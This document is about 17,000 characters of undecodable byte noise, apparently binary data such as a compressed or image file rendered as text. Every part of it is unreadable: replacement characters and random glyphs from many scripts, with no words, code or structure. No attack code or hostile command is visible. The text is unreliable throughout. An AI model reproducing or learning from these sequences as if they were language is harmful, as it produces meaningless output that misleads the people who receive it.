�H���N5�V�N5�w�z�]�I���iz����^��[�nj�d=�ש5�m���}��n�K cI��8�yU1b�^�ly�eU���kRO����� A�z�J�RI���ΥK#��1W��P�S=k+4�qf�o'��[��5��é��o�r� ���<���]����Ҝ���kq�ö6gP�].�X:a�6O���Mݎ���[iM I��e��r3��U��=f��u��ѵx˺�l�(!R}��5��X�����F���@U��_y�Ӱ��'f:T�%d��%�"�3g���G�>1~u�.�7�������z�[y�r��-y��ys�ܬ6̀G�eN}�yT]�}N" 4�-�Ɓ����[Cy&q,�� ���J���iV%��e�����c��Hi3��x�b���<Y�uߋ�_�Z��F�d� �X���N�����˧i7�J�=�[Ha��<���Jϒ���ic�uj�j��R��p�m����٥?<Z�h,��8,��:�u�i�V�憦���_Ԧ�����{W���j�HӾ��s_��ă\5���G*���-4�/���k���|}k�Ӗ)��ͳHy ��\S�m�<U�f_��+�*��;���8Jڂ��;�ue�[Yy1[$�W2�t�U�gdZ�c`9 �8����s��R��(�Rk>ty��x���Ъ��+���,�}�R|��NN? �z:�w��-5��~%IJ�v�$�l�[K7�H�aҕH$�8e�f��w/���E#-���A�CK����*��� ��\�ȩ,1B߸�ʬNz��O�i��G��&�҇�:����-�b���I��s��W���cSL�K�sEX�q�z�Z��[��@#p+7nb�f�d2-q~�1��c�s��=��I9&䳐0�8�N�� .�Im�u �ʀ\̭�~\�ξ�y&�n$+u�8ǥBiͣw�'ܩ����"�+���I{јA�W�>�e��,��G�D��\Tz��i���@��䚶�!/g��~gg�紖�]<3�K��-h�)k*X���X2�����O[t%{��d�K�)�ɴ_���m5����o��S�*3��m�j[��b.��zpGֶ�ks>e�c͚ G�t���������\p=��)^�ݴ6|A�<X>�c}�+m��|�,[��p1h��<�K.� ���4���)-.Y��Z�w�m�#�8�7�6ҧ������ҥ]���ܮ���c�4e��;�j|F�A���C��z�vv�C���]�o�Dj�5Q�0�:k�f��)�%\����\�N諤���/S��7)/'� �ktɨ来����\os���� �H�;=QE�X�T]��:���I�Q��[��vL��ik��V��)��k[\��_b���%{�\'�s����.�E)'�c�e�ӑV��6�R��^��w��"[K��I���Co<%S�ՇL_Xx[S7��]P��[������X��}�@���|�yM**��4��ڹ�a�Z�<������\$�}���"�Ѡ�A�ں-�V~ �ŦF�쒨��0���s\u3%*ƚ��/�d�w��7'���'��� ��(�7�2B)�G�y��俾��\�.b��M�.��d��.�QoukTqQg��5�߁�E�MCF��o���"p�Qm\pGR}�|t�o��'��v�S��8��[ps��_R���J����]9n�.��$��I`X}���*����p_g�V&KYb��&{x�K�f�ƽWS���kVv�'B����a� ��ָ��S^����M2��(�\��k9%Y�'���?���j��Qޘ���hTs�+ϧy�=P���x�Y��u7�Yd*�@�;�9��P�:�Vm�+D��8��0q�+iк�/@SQl�sq|��Yn6� �c����=ki}r�6�<��¢�s]��^]�敏xї�wY��f!�̑�s���?�r���庖����r�BFOȃ=:��9F�Oi nl�/t���;�co�����K=?W���N��Fa�+��;q��CV��gn�rI]�/��h�������}}�H⿴��ehǘ�� �j=WC���枻�hX[Y�zk���Ne|�Tv+��#0�=��0J�<�{�ڴ�\U�i&�w��2�HV�I��V㺌H>XI�.:��R�طR ����rg�^��id��̠t㊋{��Jj��8^wp��8#�$�z�x�xYn���=iE��)i�i.���`����ޫG#`"�bp �ގT����`X7-�yCct��g�S�3��*Ӹ�>er��^VH ��VՍ��۽« 6�rI�5e�>�D#r����X/-JNw>y5�9��|;܂D(�3^����ƹ�?��h%#e��ye!Qz���S�.�y��ܧi�ۋ_�:�_6�I bT�d����SOz�`Đ�F �pz��s��ʜ�[_W�~�B1BQ����۽w�\����A��8�б�t5�P����m�@��EE$�={q�z�m�ba¦B��k��i�'T�'ݸ����om���ǔ��Uy#��X�͖�dC-�f�xl};R�٧�|�M��Qϥ��O�F�6e}�w7n9$}k^�m<��a���,#�}k)�cϵid��ke���¼�^I4Җ�zv+�t9&��qy�f������ �6� SO_O3�Z֭�5=Y�ڐ����TGt��s*��m�\'Rd,���1�ߊ��陓F��V� /�:��V�ܖ� ��n���>Y��+�|K������"�g��"��^�c�� F8�3�F�i��VO~G�dY���j�ÚՎ���Z|�4e�#r��־��e�I������j���5��t�6���N?J�q�u8�i]�z8Z�P�{�q�ow�CT6��lbfVf������$�]�'�6Y��_��� i���U�]�V7�,�g�'��V2�R�J���v���:(��#J j���+]V"2�z���4��.�ĽO��d&�� �ymR��<�q�����(�z��*z�������zw��Vcq�^6'�=��b`_BEa�VV�x�\L�DI�7�W+v�f����Ը���Ҍ } E&梐�b�dΈ���Guo$ �Ñ� ,I�|�u�*Ю��?�/� ���_�Fi&���1��'����-��>OHS�A�a��E��H��GkZ�V���imnW|S)F^�5SG�+k?�ġ#��U� ��]���<��<k\����ڎ��j�[^i�4�Km$L� �7��q�t����p�N�uw�/�z����eu�;�� � 6�=�kZ�*�.�Z��j��P����i��x���sm��-x.����Y����C_��'��G�~k(WK�6�pbӭ|�If����� v����*K�KO��<�ĸ���>�� ��8�|�>���qM�=� C�^��y����#��/���/?��~G�A{��~g�jH<��9��PFr U�"±�Uj<�Gs@'��PNFsH -O'�����8�#�5lj���ĉ�?��c�v����j�4I]���eV��U�-[7�Z��%3R��H$;>��v�玽()61w���]��cH���j�=��V����^��,��3g�.߸��?�*�~K��� ����՟96�c���M>f$�(��7y2&;�8�ǒx������Q:�܊-4,F8V�q���r0~��g��7�|K&�y+KJ�g����d#�8�}}vGG����Ş^aS��]�#��'�%�W�o��6�Z�7��$���H,?pc�<�x����@�w���=x��ѽ��H7�S�0��U�-[��ϊ$m����I�O��s��/t�a�DbX�4��B`q�kҾ�Ǐ�.��`}8"�?���{)�3�)�vpy�)��(O����l���Ӕ�ӡ�QB�}y����PhX|� H�cΔc��F��U��3���`UI�i�j��d�J�cu���ݻn} �֎ J̘������^���v ���I��I]g��NB���j�i+$uP��D��~��6|���~U�LS�CZ5��W��Լ9PGjxS�(��,n9�P�#�B$z�=W�pCנ��Q�)K��h��D�<���9�d#��W�[�����W�g��M~���9��kR�=lW��rQG9����G�s���q�R�R�f{;���w�U��zӵ���V~&Ӯ�4��B��,�j����_;V3�)Ѿ���Z�Q�t�ܕ8�q����dl�����z�����͕r�fOs���Eq�i����r��o�[1�h��Oi�oD1�9����V�B��֫�=���J�ӎ�]�����J�Ԋ���@��q�ZʦǷ��zG���6���٘���?����>k�'�o�o�->+mG� �;Kk�&����!�t ?��pؐ3^f-��r�韪�h������rj)�����Q������:σ�+���a<���=���@X���w8�_g|+�L�G����k�������<>�I�E�qn�#!��DyeV��sU��r�K��j��y5���ōZ�����Xgu���5Ǟ�$�LQهBT��J��*�x'h^G��tUZ�|U7��=�5��z�Oߧ��~L�������kzM�����%��Ng����kJ���fg�?���[ݞt����|��q���E%����ƕ�G$WB�s\4B]�3����V���r=�-B��Jn �W�h�.���^�U�[*9��6w5N)jz��ۭ�i{�h�i/�UpFȐ������m�b��E�S��'�/���WR�!m����͑�[y���+{jp)Y1�3�J˓Z�`�|�EH�qN=sZ� EY?����oJ�#���!��^Uo��u��w��ـc\s���]TR42�Vq)<��ǯ�q��:�W�z��t�nZwq�?�"a#�����^O\�% HP?�z� �~�F��ж�b}�'�W�W�J�����C����Xݮ �2/� �9��s�~4�>;��د��sU7�r+��G�M��/#��?��=��ڃ��=�Kjq���oĜ��,vg�������S���`� +#��%C@v_g����C��~j��D3�������G��|�i���̧�s��IU��9,T������y_Z�[��p0 �W�{r2��{�D#i\��W�� �����np�E-b�A�Ԯ�{ia�#�6�b^MF�X�G��T{`�Z���t|�v��Ȗ��@T8]ǂ~�'ֻ-�wc�wj8��ʌ�1A�ƳrmY��P�����C��� �,*O������rkgK{��I �����Tyj[�|4ԩ�Si\,�� ڸ'��R��o�x�& � �tRW${��+CInt��p�3� ��Ӝd��VT��H����\��x�ƌmRb�Y�b0y���S�N�� �dp*�c�s�b�}[���r�l�1q<�8�;���D����|ѕLdv����R�L��)�z�K"�6��}�r{���t��Z���Ķ�F�Lj~U������[NN0�7�эJ�2WЛ�z�t .��H��ˆ�\�k_ĺ����Ws*$�v��ĻH�T)bX��{����RZ���1z(hm�֝w��U��g��"i���XT��y���u?�0}�F�����Ei9���N4�ࣳe�,�;xf�|�䁀��\��(� �~Q����^� �ښav� ~��챪ZK�6X���e�;N8?�ZӋs�������>����v���sQ?���$�]rc����"�$~<A����ٌ(�f�1�ڴ,�y5��>��b���}����9��,��~(}[L�Tא�4zU���� ��n�=A��u������["$8�s�c��uӧd�>n#Ns�#Z���#YbIنT����Z�^4��@�߾��g=H��9N�Z-��ƃƑ��o�H_��P�u^-��ڶ�euog�t[KXHO�!�c��h�јԫ�ŭ��wQ���Y�Os3'�o�O¹�K���v��,��s*�;@ �s�zף��d�ϙ�1js�%����|�hY�w��w>�AZV��8o%�B+Ōq�G�5��h�6g)���� v���юk2I!yF�6��(H�P��Po��'�5O��y���o{� �F�+k�K���eI��т�UCt�g\r+4��[� �F�FM��rkO*�N��ڼ�*Z6�D����Z�2����9�dUg�k��������N���9��#\L��̛[��>� �{��y,_��;-��8��nI�R����c��fģ�\�#�Y�<k���;������Eї�@bnc��³u��MZ�sr.%���X�M�7N����2��ۓ�OǭZ���n�s������9jy߈��4���{���*��&L��{ׁ�*K��^�+=�����Ɍ���I��3�Z��+����ho���=��i�#哵���A��s�|Gu�Mg��\Is���k9���q����6�T�ڳ8�6�K�c"�!��l�v�}9��F�l���7V��֪�t��X���p_j��uZ\Ӳ3�� �r�Ź� �M�X��w����g�ӂ�P�e�!E��0C���**��5���K-.���&.ۀ�Q�����4�uK�7�^A���?�zƌyo& >sԴ{�� X�����nm��!̥�X�l�``�٧����\k.��3�$�y���yX�k˚��o3ҍh�P�i��{4����%\�m�8����٘tMU�嵝@��,k�)s�]�NOS�t5�R���t[�wײ�6mN|��o�|Uy㋫�G���BnX�9-�l}��}k�T����=#��]��l�v�MV T#��浟�U�3X�E�iZ�ѐ���`�8?.{g�֩�r�X� �9��{p��9�ԣ�CB-Fh���E���EǗl��9�y�k�+�)���C]ܪ��8.�GN>����jֳ��SK�c 5��2cv���O�U֧���7���T�^�P�;����<Qg�)�y%��E+o��M����±�<K-��&�ˑ���EO��G��MJ��-��e���Z��=������5�rK!H��v`A�ZB�Rm�e����>ْ<���d^O=j��,uMRH�X���G��88��j(��7�6��簖{(n"�Hdm���ݪ���sk2�)�Õ9�k�(b��o������Vk����Y�u2q�ԑ�k�v�ƍy!�`m�$��9<7Њ�h�^���O��tSJ�8�oé��-�����N=��7H���0�rR) /����_M��wF/ܞ�K�N{븝�3�o�@ q_O���yO�*)v���Nٯ'J��Xq��v+E�� J��.bX�q�FN�)�28�J��q$a 8x��!������'�=�u/-Ȭu�[y~� ��1V��^��?�r�Vo%꼻YI ��zW�a�:NRn�1�m���|4�'��$8UR�1?J��-�Gz|)BI� �T`�0=�汋��b̺sm���v6�Ak$ɴ�g}���I�o�.�϶[�l\2�p�����^%\,%6o:����Am����Z�;rw��=+����jR^���Dx���^�<zR�Rr�otz�m]5���'@��x�m����]p�c:��zV���[���.\��A�偞=A��R��y�iɤ�-k^$�R�kA-���n ��v�?��P� �F��iE&��գh�.��-��.,��ȸ#1ׯ�~�����c+)8 �q����t�yE��va&���M�iwpC$w��H� ��"�����?3O�m%��?��F��͞�5��\��VEη-�>e�Q���>��J.�'��D����:W k#��r?/<k��|g��H�,m�a.�U@�8��ɭd���i�!����i���l2���u�g���/4���у�D~]�#%s���|�)�Q�7�e��n��&��̲g˔l8���nx���,&�f��C"!+�����*��� �Sϴ�Zx|��Ȕ\g]�V�V��{іF_=����i��Z�$�ٙ��BG�:��5�� "V�Oz���O+���'�ױ=)���6���a��Vn� ����Ur�H�zΛ|��DRrW'����B�d�g�?ҹ��&�����{�Q��U�J%����:cxsޝqq��m�(���w��(����\WG����I��4`��q���>d������=�#�t���7���&�(5[X����k=�Q���C�Ss,p�&g�h�R����HE`��ҮZ[F�~f�=�R���Y��F�L��"@6��Ρ��<���g��*��7yh� ���,ڎ�?�CHX��t����1i������;���֦RIY=�)�i^G=�\]\M, �b<G¨���X*v�`j� Ȋ�mߠ��N�Q �֦�-V!"��x�W�V��Lҳ�9J<d�=}1R[�M�A�FO/�E�����ʧQ�;�+G���;F [yg2� �=� h[���-͎�m�i�1$+��'&�-O]�]��c�',��>���깻��(��8M2�����nKn#�몸�+���^�#@8�=r+d�6�3g.��l�v�@��ǿ�V��A2����T2Z�]�s&�&WX��l����P��Ȑ�.�cZ�5�٩�x_Ԧ��Ӭ��vE+�rq�w�zV3\�}�� ��?� ���+V�5]�~��l����ߊ�%"�_�s���YGVK{��A>�l��Ͽ�D�̃dG��q-JaV,�J�r94��z�2gl���㚮K�g���-�uZ&�� ӭ�H���,�#�$��I��ug�K�#�{���������oy�v��t���kO�$7ZƔ���CB�y��2�u��j{M-n� �X�|cVKq�.�y�C��_'��R�4��ii枦�|�j+Sp�x[^�2��8�6��>G�玕�5�tk� ����x��Zx�0H9$�=�9��|59K���m�f������Vִ����o�\��|ʹ��=k�Լ-�-OĆ�S�H��|��j���>��<�Ժ�e�ܩ�9`�`Mp�]A�-���';r���y�QҴ�����]�W m6�dc�dW��: ���I�[�%�Cms�� ���<��+:�ܽ�E�ܺM��q�k��6�� ���eT⼭�� ���88����Ili?y&w��u�^�X��HA� �+=5h-n�6*��>p�>`�ⓣi6��)+Q[�]�@ �QԷ�ҩ���P9b{�b���˖z�[F�D�pA�[J�m`�K�������ryɬ���-#x.Y\�<i��v��I.�"���d���Ұ����_��3��"�f�>���x~kE�^f�(�svrk�)om���,��3�Z#Z��c��aĀ318�ǭi:T��McZJ-/�O��{<�����5�=����˱���2J����k.���7��ʷ�ŦI-�(1�Jn�̫�+���B��:��WL4Sf��D&uxL�\��ΦFֻRrs�s�"��Z2�wܪ"�hL�\w� ��ġ�A�c�@���i���G*�ȫ�<�����I��}��i#`�9�;}�r��-��N���=�n��>�io��a`W�p��@>�:ɗ5��a���A���)�K�hNf<7`t�k����y%��1��9,�q�˙&��Is���c�T]��uA��32Y�%��1c��-ʹqG� ,�P���U��i�Q��~�C�<?��$��MmU��ui�eP�����0};Ҫ��Ksl<������{a�/�5E���5�m��"g Xz���u�K�k�f��pG�#�W��+=gd�����}Ϡ˶��e�p��1��tY�廸X\�#C�`N9�TTݝT�,��yDYQ�1�#�*U��E��S�'$d�-�S����Ky�n7��!t�>�Ҫ����;Oa��Y7w��ة� �8J�����;��{hA+�R 䞣��� b���(;�ry�RO�h�D���h����Z�Z3H�SR��������ו��@�1���WJ��Y�Ο��x�51����� ��P�N�����EDy[I�L$���8���6�;"���v���k)��H�d'�X�{V �V�;�q\�ǟ����`�6�%�ށ4�=���WΚ�>�<�K����n�EWg�r���=Ml۠ �g�k�y�T�}k!�c����'һ�\�e�E�h�A��` ��*r\�º�ܗ��i�t? `Y<cq�m1M���m��-Т�������A5�D^08�� y2�\�(�ϥ|�U��wR�GO�r99&0J�A��؟��:��~��~%�|s�"Z��vl�P�Bdž�d=+��\W�[�⥿���Qc5�#�W��^�=��?�_���~嬴���fA�*=�q��#]�*A�m>Y�*<j~�j{H�g�ێ�[{7���Yu 5�<w��*�����*��"��u�Hز�EY���Q��F�G�~��#����?�9+�o�m�F �Py��^�Z?��ˉ�/O����9COB�<}ٛ�ף�䳎���_��6Ѥ��-���F8��� =�&8*Gnq�_��\��o��n���kU��غ��Q�&��"~�h��IC&���0U���i�sX��UU�k�0�m��?�eѼWv�ψ�-pXk�"�.���.Ѕ;�ʲer2����짪 �_l�u�D҉����P6;����&y���P+i+a�R�kn���w�X�lB�]�m�dz|B��࿆_����{���������H�]~���լ7Zu�S�Ѭ��Er���s^?,�y�^dz�n^���Lv�6Hu�W��ҾCY1�Gi����W+�/��/��h/r_/��[9"�'\���8��)2:���! �B�T�@��Se I�Zk1�b͡=Mcx���M>=�5Ê���:��}O�e̟�Zo~n�{��5��?VUo��6$�YV��Z���Ԡ�R�a��)��`jQV Ɨy�!�3w59b��i=�b���i���<.Ꮏl@�k�HN�?��\)��~s�v��(���Ds��s�O��;` ����,��w�v��.+$��,H�VK[P�S�ĥؓ� 2k&O+�|G�o��:���t7o.D��@�v ��'ԠUК�G�N��j�,�5��G�1��"�U�(rA9-�����&�b���jz�B���'f���;tFj����5 渏i{<�r���k�ݾ���h�ܢ��|���A<�C�F�}���=�&?g#c��A$N�k'Q��ҽ����� �,�ՁZ(ZFu*�J^��WB3���:��H�f�!3�8�L�h=*�E��)������W7�k�e���U�=I�>4Æ:jș=M)W*3Y7@�[Tۅ��_!���X��=c���Y�tu��v���/�;^�+�`�\��+N�U~9z�Ñ�U�<v�nhTbܞ; H)�:�L%����ʽA�J� �Fm��y Sa_���6$~V��2�����_��VMKQ�6�����ǩ�~��A 1��x���Q�� 2�X��M�ϕp�IGpG�<����h��W��ձ���P�B���}k��7*N5����U/M��=��-���gq���u*y���As�0:`c��sՏj����Wz���bڻ�ҫ0�t&ANPj�Î�*��|[�J�����c���r�v��ɲ+��J'�����b�q���}*��H�z�5�8�c����g�9��5O�z��u�|��q�zʦǽ��L���VM9�.�O�x��_|v��<�>#[��ڟ�~ K�]�_�a�H�Cq끸r:jᛴ�}����������-u]�W��}D$\�/�?��B��%�3� ���_�����c�7�r�r�W�Wwצ"$��o�8*�Z��s��kџ}�k����T���B-k�8��W_�_Ts������7yϸ�J�C�ZW�1�8躠e�ȟ���~JIcl �zs�]7�ˉ��Ŵ��y�[KhP��ޜַ8�Or�����=y���H�QKg�x��� ���XT(9���e��s9$��kd`��d�j�a�q��dJǨ�σ>/��|��F-}�r�G�<�g��N!�O^�`����r}�ҥ+�V�l�&�ji@�Z#���j㎱/�Mn��Q���kʭ��p�;�3�t��s��W1x����Dz�:�df+�Rk6��(�Mo�F�m=�����nf��"�����%�$��W�H���F�H�l,��j���hRI��r��H��%�t9��]K9�I���P\ےy2!�kxU�3� w����%s~P/�y������45&�1�U�q@���V�s�'�6���B�g��/�Ɗ���{�����%K��'�� ��"��y3�����y�ۨ~s�9�t��̾(�Q�|�/DQ?dO�Dd�H6�S�z��c^Gɘ� )�:ÁX,�g*W��'��^�3���L*�:�ǕO-��y���%�Ѕlm�[[n�I�`/&�����������?���oXߢ�=�'i,���{�Mm�"��Y�ރ��}�gdc JKs�Ѭu,E���1徆�MނX]p��=x�^6"-T�=�*�;�u��I�ڣ'�;f�t'Av�$e@��a����F�72K+@1%�?)?{��[��8����9*�|w�h�H.���Ж%v����'��k,D���|�c�0G��4�o���XZ��P'�y�McOh&��m�|�}}ǽQHgv�!`#a����J�'����*$A������T���7����q���zn��? �v�,�Я��2�i��2L�;�m��:b�L?/�<�Ҝf�7f^����B�m���� '�C��������i����R#�����ʖ�E)��sn��z/m� �]�zL�˯�Rفn��`�� %p[����ڼ2!�¾gfwNVc�8�{�d�veR�u7^�}�o����?��5�Ig"���*. e�p���=qm�Dx�� h22��#�q�^�~����5{����vI�$��<Z]Q�9��;e��o_s^��G���o�Ǥ���u�Z%�8�wS����V�����;���_~�k×��Z�:��ả�{)*H8�}�ȴ����~���=Ɵ$f��� ^Q3�[����I���ρu?���Ү4�#�����{rMy���mr�Jv��W�F�zӏι�R|��#T��O���&��Z�RjRꖗ0,��|�gN:�*N:���r�������?{=G�]�"�|�:�OWs^vHn>��d�`���:�ė�~��w'p���^K��'���>֭����-��dYB�`����pH���Ku�/x����x�.6�e�r��j�o�P; �+�uJҌ���b��n�Tvb;ס�~�w��C\�w�+ׂ�� sr�osdC�H��5$/n;UGh�R���v���3�D��9Q�,s�TE��?#�f��k�ɥ�(RpI�y-���?� ���K�}� ���.=��Y�G���Vk�} �@]������} ��'Q�%�{}�Y�2�`ϭcܵяM�����´羊=$sN���h�R�O��S��{�p�8'� ci���z�����Z���571�Y��dJ T�T�������g�~�l��?Y��[{{���gj��~+��)��jws���y�� ���#?�5I�S��?��:���٭��r� $���cҺy��4f���� �8.�ߥ�.���;ՎX�H���q�ӵq���"�wc��2�-���oI�#���N+ B=EgR\æ�<�D}f;K�;��oU���]���'�'���Z�C�8�J�p ��1���nuJ�:(���9p��`}OOƽWB�c�h�O��Y�ӭ t�ˑ�y�ib ���Z�ڞ�E[8E>Dž�#�� c�?<��� �o�i��M�M�Xg"2QqԌ� ��{G�ϙ�B���-E�tm?_k�{8g���2:���$0`�z��.�����eI��6��x9�k.^T�;�&`k:�wwQMo�%��uW#���&�|� o$�v�M�jsͻ���r��A���]���I��5�(&�� �= }T���V��F�A��w �$����Tn���Rc-p �1�r���\�Ug��A�w=T�"��J t��5,ɩjc����0�c�S�`�����Z= � 6���F�=�\���g��̘9#'#ޮQ����_B�U��o��g��l�P��#=ϥ >B�?z�@�w�дq�,q����OOz��T�8�_��3c$�9�qE(�����i�.$��`pW��溻MH�YL���$ ��5�W7�m,=�]-Y��Q��ȉ����U[ۻ߷b�v�2�c1��� Ԟ���0|�O{���4�+�&�&�#'��Ms:����[�rĸ�I���N����=:�i�sA����<�h3.qR�����5�m�+�-��{���q���WU\<g�3�O�Ynt�r.,d���2*a�S>�Z姰�����5�����Q�J:\���̖��8��W����^6�Yc |�b�oj��5i�c{��7�,ǩ=M)��p<��F��ʗ��\��}�X�\�'�>�kÉ���� D�@�=��՝�!&�M)k-Oo�~�OXi�AԒk�N<�q��㯥li%�o�<�V��yhv,m��C�d��N�+�BJҎ�����c+�scQ��� T�V�UP�Ev9*{b��]�i�_��Q'�#�d�{��[apU��UԑN�"�:g���̷jQEn���+מ�����Pjΰ�j�o��pa�g��V+�du:�kr�z*[�!3F�(�A��t+f 1%���ߏ�F��sr��Z���W_2% IlS���Һ�3H���T�䝵������[� (�����{��O)�>_V�C�s��j�fg����#2���}�ֽ�2�4���%"!�DQ�#JGV,ܚ_�I���o�髡�+�ic��K�����iE�6ە���r��y��)m�2=G�rµݙ�V��G�P�@a1\Ŗ�ޕ�h2]���Z�>I\���i6pB���궒�d��@d�[�#�Y�kR�-�_����װ�e;h��qRv,gV��F� %����zĞ&��ң��شQ� &�Q�qd����(s\�R��ZV|�NI� �z���o6�"<�3Z�c���4�V��I"�1�"�r;Ջs�rDď���mgȓ9an"���֩��.��U9�c��D��IW����܊�QI(iM�;��kq3$���+FT?�<Wz]j�RwD;�A�ZVv�8�Uc�S#m�־��K��.R<���w�)5�-����g�ʱ�^���b��4%G�O��k%�4�wL�]eΗ����9=�?��xsN���4��5f�.'�m�ݎ`�8U��+D������(A��U�L�B�==���f���`(CX�O�6��"�(8��YF�gt�}��Чr��|���:�Ӵ���-WiV�O�k)�G��88�5=&��i�YXS�Ğ��Mkk:���i%���NUs���ׅyJzug#rW��!u$x��`X�x}}+Q���q<� ��``w��Zꋔ�5�+������g�S�U��+�Vyh��Ҷm%G�O�@[$t��Y��4��猭�P��O��<*(��k��'C��j���V�F͒ʩ�J��߶*��H E*y�+���zCu*&�8B9���[�go����ͬ�M����0p)���&��@p��nߍ=�n��N�_j�ޞl� ��تGC�*\������z���Qu��>��3A#��{��Y������n�mǦO$�4�/��u9v8K���Ha�(8q�j̑�V���]pZ\�>d�Epm�n��E��� �*ڊ��3NHY���&��� ��ܑEm������>���wosg1��'�U� ��v��������n����af˻��I��n����]�XiV��+��@�+��[���_�b�EZ�n��J6j�s���u�]Iti��vI:��ޠ� ���@�՚j�&ō����Wy#k};W�9{x�qv�0q�L��#�G��������qX��������]�׳(����� �b�\r�Ro��]Z��jZN�'�.��W�?NI�UP�����ž����>�m1t�;9d��V���r� 7w��m;t<�IJxq�:�h%u���m,��q�\%����6� bT��Qݫ�sE^ZXur�R-OI]>�8�3������b�����h�� nc�� ��x'�<W�J��ʥ�2V���C�S-đ�F(B�8�]"j�^��ב/�>[� 댓��y�i�l�i�K�g�}���`�9��N��,X�R1��}x�R��k|�9�H3���C������5�! ��٫��KK�*�p�ԞzAL��R�/r������<oR�)�kN���퍭���!���Q��j{=�ʔ�~f9�.�W�h滽��u+}���|�zc��5�Y��uk~DpFv�V��L�Z��;�9�Sk��Kj�2��g��H;�F���>:r���*2ͼ��ӀC��4&�T�{#v�O�7�3F�~��m+Z��2�۰:�z�"m��ڤl�_���țO�HK!.T�-����q��ɐ�q����t�u�I�� R^P@�sZ�}u�i�Um��}+�qNɌ�L�e��I�2zSf�c\'!�$��=���)[R����D�aB�>��Y�L��Ȼ�O"��]�f�t�m����$�<��H�ʰ~F2q�*\���-�xA��ؗF���������TmsX�m6c�Y#`%B��5���W��z]�;��q ���2Oiʧ�t�K��I����5O�ʗ�N�� ʫ/]�u�,�Oqr�\�� p��~�>���.n����8SQ{l}���c:.sПs]���Dk�O�b;yb��Y��zt�FȊ�.��:6J���Cy4Pn�,�ld���\�B�&i`H�Ho�GP�_Z�=���[E�����`pk;Y�豷�1gU,:���H^c#�������RY��[C6ُR3��Ϩ��7�n!X-�N�r�_�}�);�Ƒ� ����h"��6F��+������k�5�R���p�|�M�i8���]iY�I���0�uX��r��z�۪Xg�O��g��%�3�V�*�I�Ҹ%�,��ǥZY=k�Q:�Ƀ��86{�7LC��<V1�>"��-[��JZ�=��lӴ�x��E|߬��с��Am�EW��v�'��{dk��bf�#c�8�-��$�"�Z�4].����})�;t-�8f�ZƬ��hڒ�I��¸����e_��� O��5�.�>�d���+��ޢ~���t�F�����/���4� ��[�r0����I�d��ϧ&xX?�x犼I�[h�ʌ� ��XR����U�S��c�g�܄q��r?A_uI�k���h��Wh�]L-IvٮGT�-���eFvt'�W��^�F�ݢG'�m�[ȓ_N����a�X�5mS��4�:K=����z0 ���~�[��G3�R�<����ĭ)�- ��D�W�@3��U��#w�ma'��#���dxYE�]\����iYW����an��ԣ�q����X_�zn�����;�L�!��Kd@���ń����F��3U���~6H�4ԭ���u ~u�xo���dK=��#�~(�N�> �ڝ��|�s� �[�ӡe��|%���P�u����ndb�+g�8�\�fS��:�fL�5�*҅)���[_�����`'�9���5�k��(.'y�.�HT����`�5�<�~I-<�?�'�x3�?��4��3wf1 ŵ�+�����8��<o���1��K�˨����h�A己�^�G�ɎR���W�֣S��QWm~6џE��ok���|i���o�]�x���o|A��9�w��j�VA�wUp���WП�<;��L��-�ޫu���$�(�qڭ�E*��J�ZI����{}�QU�N������yG��x���Ǐ>+M �KFDb@[�D8U����A���xj� K@Ѝ��+G2]O�J�3���#5��I�:���ޭE�އ�3b�g���[9(X��|�#��h�3oS�ϟ��+���_��P��_�����4'�+Tq4;�T~f h+?��,;tx��2W����<R�V�w�/?�I����,O��u���#�x7�G�+=8������ ƶo���eV^��I�ZV�A;[��^Q��zS��Ɛ4d����px� \zP�$X��X� ����w)%�#��2G�ҒWv-l~a�b����c��z~�s���A�ˏ,�#��rO�_����f/�����J�7+�y��=8�Uy�����ʾ �����8�|r��\沼Zt�c�&o�H#�� H9�f�jk�V�v�ܧI���f��4d�+���xt��/�8��,?��V]�l~j����OK5r�X��1[��A�Fxϵyd�~���?�U�InT�����'���8�S��:}��iT��Z�'��F��� ���t�@��U[⿕$W����r;�5�ۭr��ZG�λ�B��5��b�An�������9GM�U�D� ׅU�����A���K�⨭J^��Y��*̫��>v�]�����tF�G�iF0����Ȝ�G 1�SH��#v�#'���h�y�1�+h�b��E�+9!s�_�Ҡm�k=Lr~�Z���������/�����f .x�fU~9z�a�# �=9��Y=�#��*�<��N��(��r*`�<S��ɥl��j�&�R��ȳ��E'��_���k?����5~��T�M<��o ��kMlz8���!յ/h}��(� w��!Ya_�����?���n) �5cc�*��N�� 8Vlq���^%Z+?G�v"��eMz�v��+���Xxr�Au;,!AW�'=J����=��$K�/%��Ϙ� 2�8�|�wS���"�Y�"�_��8nL*i|r_��xK^�_��N�<� ��/$w 8�F�@���{��ߏn����K=�H��]�r�v#��:�z��_�����RqKe��M�P�'���vߙT�a��X�>}t��!�H��)�3H��s�O|OJ�l*X�9=<lE%K�u"q��J�6�5�Gſ��/���㩷?�W�\��?��'���'��?C�hT�¬x��G��2�cj&95��֩�Jh�B?֯���MF�(��9�����e��~�f�-�Q��L|{���8�:�<Ma�c�[ᅬ��v�k�h�8j���G,L~_5P���/�\Ub�S��S�2�E*X�G��e�_��<�B�_��x�&��5y�+���1y�mڧ+ݾ�O��#��x��'�bAp�6�p�ГɎ2��n#��b�j�������JVYWN���ݣ�������ߴ�Å"A��=���J�k�A�����u�[�Q~�G�x�K�����y�����}�E]5�ɉ�Ui���4���t�{+4�7��� j�uu�PBz���$Ҋ=�8�WQ����p)��=�y�}�yI���}��i�n/���[U���s�V9.^�6�jp�.9��TI0qRr���*���c�!�MtP*���(+ɬ��}��1;���f���<�渏X�,���ҳ&��x��j�{�Z��e=�� �@���I+*���i�:� ~�N���}���(���C�Ⱟ�SN��s��6�;���U"L�Z��U��c���vI�G_�[A��V�� �V�q���q�֗��BaU� �������S��G�?��"Fo�+�L~cZT�zX?��m5���?�T��z�ڕ�u�E�(��^�,;��/pa�����;p};�o3^�}�ʾ z���I��3��u?Z�Y|�Í����?�^TQ�ܩxv[)K�#�khfhٜ���9�һ!��+j�Htk��?s&A鍿ι?��mV�-#]ˤ�!�$}�,���W�|�X�M��x��<^^��K9m�c�zn�q]F�'��D��H��2�nf�#֩]���wN�;�8���H^E�b���]%��Ѓ4rs���1�^v+�����h���1$s������jX/R{IAb���q�T@�w:=��EZ6*Cq��Ƶ.љĄ���w�ǽ2��RH̿?s�������$�k��w�c��6T��g�Ì������>l�9�#��f+u�* �U��z�\>�msl�4̲)��4ր�1��m�#�Q�W�xOI�w�����DW�����-x��'�b�+�p�c���]j|���T��쏑�Y�Y�\I�}�m�-fܒL�?)w<�:��5���}�N���ͅ�S3!�Tم�xН�8���Ccÿ~)�z=ƈ�z~�iup.A�-���<� 8l�q�2q^Wgu�ۇ�q�yą�����`+��� 